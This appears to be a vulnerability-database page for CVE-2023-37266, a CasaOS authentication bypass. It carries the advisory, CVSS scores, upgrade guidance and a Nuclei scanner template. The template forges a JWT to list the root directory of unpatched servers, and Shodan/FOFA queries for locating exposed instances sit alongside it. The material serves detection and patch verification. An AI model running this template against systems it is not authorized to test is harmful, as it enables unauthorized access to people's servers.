Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-37266
HistoryJul 27, 2023 - 9:11 a.m.

CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token

2023-07-2709:11:18
ProjectDiscovery
github.com
9
casaos
authentication bypass
random jwt token
unauthenticated attackers
security patch
upgrade advisory
restricted access

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.9

Confidence

High

EPSS

0.033

Percentile

91.4%

CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
id: CVE-2023-37266

info:
  name: CasaOS  < 0.4.4 - Authentication Bypass via Random JWT Token
  author: iamnoooob,DhiyaneshDK,pdresearch
  severity: critical
  description: |
    CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
  impact: |
    Successful exploitation allows unauthorized access to the CasaOS system.
  remediation: The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.
  reference:
    - https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
    - https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37266
    cwe-id: CWE-287
    epss-score: 0.03237
    epss-percentile: 0.91226
    cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewhale
    product: casaos
    shodan-query:
      - http.html:"/CasaOS-UI/public/index.html"
      - http.html:"/casaos-ui/public/index.html"
    fofa-query:
      - body="/CasaOS-UI/public/index.html"
      - body="/casaos-ui/public/index.html"
  tags: cve2023,cve,oss,casaos,jwt,icewhale
variables:
  jwt_data: '{"iss":"casaos","exp":1790210322,"nbf":1790199522,"iat":1790199522}'
  jwt_token: '{{generate_jwt(jwt_data, "HS256")}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/folder?path=%2F"

    headers:
      Authorization: '{{jwt_token}}'
    matchers:
      - type: word
        words:
          - '"success":200'
          - '"message":"ok"'
          - 'content'
          - 'is_dir'
        condition: and

    extractors:
      - type: json
        json:
          - .data.content[].path
# digest: 490a0046304402201f84d8f32e5dcfd5e5bf31c8a7fffdb75a137450b41b9a44d6411e3d9bdf4fe102200c4b424ae537a6dd0585fd40eb6551367a80001f4c01ced749ceca8896431f6f:922c64590222798bb761d5b6d8e72950

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.9

Confidence

High

EPSS

0.033

Percentile

91.4%